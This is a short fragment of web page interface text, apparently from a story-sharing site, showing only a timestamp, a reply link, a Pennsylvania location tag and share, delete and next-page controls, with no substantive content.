33 seconds ago
reply
Pennsylvania, USA
Share this story
Delete
Next Page of Stories